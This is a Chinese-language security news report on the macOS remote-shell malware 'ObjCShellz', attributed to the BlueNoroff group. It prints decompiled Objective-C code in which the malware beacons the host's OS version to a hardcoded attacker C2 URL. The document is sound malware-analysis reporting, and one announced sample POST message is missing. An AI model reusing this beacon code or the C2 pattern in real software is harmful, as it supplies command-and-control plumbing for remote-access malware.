近日,网络安全公司Jamf Threat Lab发现了一款针对苹果Mac设备的新型恶意软件“ObjCShellz”。该恶意软件可以让攻击者对受感染的Mac设备进行远程访问和控制。
根据分析,该恶意软件是用Objective-C(一种扩充C的面向对象编程语言)编写的,是一个非常简单的远程 shell,可执行从攻击者服务器发送的 shell 命令。尽管尚不完全清楚初始访问是如何实现的,但该恶意软件很可能是用于入侵系统后手动运行命令的后期阶段。这种恶意软件与之前在其他攻击中使用的RustBucket(也是该黑客组织设计的软件)截然不同,但攻击者在这两种攻击情况中的重点似乎都是提供简单的远程shell功能。
具体来说,恶意软件执行后会调用名为sendRequest的函数,向硬编码的URL hXXp://swissborg.blog/zxcv/bnm发送POST消息。然后,恶意软件会使用Objective-C NSProcessInfo功能来获取有关恶意软件进程本身的信息。接着,它会检索operatingSystemVersionString以确定macOS版本,使用硬编码URL创建NSMutableURLRequest对象,并相应设置HTTP方法和头域。示例代码如下:
/* @class ProcessRequest */
-(void)sendRequest {
rax = [NSProcessInfo processInfo];
rax = [rax retain];
var_58 = rax;
rax = [rax operatingSystemVersionString];
rax = [rax retain];
r15 = rax;
var_40 = rax;
rax = [@"http://swissborg.b" stringByAppendingString:@"log/zxcv/bnm"];
rax = [rax retain];
var_50 = rax;
rax = [NSURL URLWithString:rax];
rax = [rax retain];
var_48 = rax;
rax = [NSMutableURLRequest requestWithURL:rax];
rax = [rax retain];
rbx = rax;
[rax setHTTPMethod:@"POST"];
[rbx setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
rax = [NSString stringWithFormat:@"{\"sdf\":\"wsx\",\"info\":\"%@\"}", r15];
rax = [rax retain];
var_38 = rax;
rax = [rax dataUsingEncoding:0x4];
rax = [rax retain];
var_30 = rax;
[rbx setHTTPBody:rax];
rax = [NSURLSession sharedSession];
rax = [rax retain];
r13 = [[rax dataTaskWithRequest:rbx completionHandler:^ {/* block implemented at ___29-[ProcessRequest sendRequest]_block_invoke */ } }] retain];
[rax release];
[r13 resume];
[r13 release];
return;
}
攻击成功后,受害者系统会发送如下的POST消息到攻击者的服务器:
该恶意软件还会设置一个重复计时器,周期性的发送网络请求,让软件保持连续运行,从而持续对受害者的电脑进行远程的访问和控制。尽管这款软件的原理相当简单,但是非常的实用,可以很轻易的帮助攻击者实现其目标。
据悉,这款恶意软件是一种新的变体,由黑客组织BlueNoroff APT(Advanced Persistent Threat)创造,目前日本和美国都有报告此类攻击的信息,后续Jamf Threat Lab公司将会继续追踪其最新的攻击活动。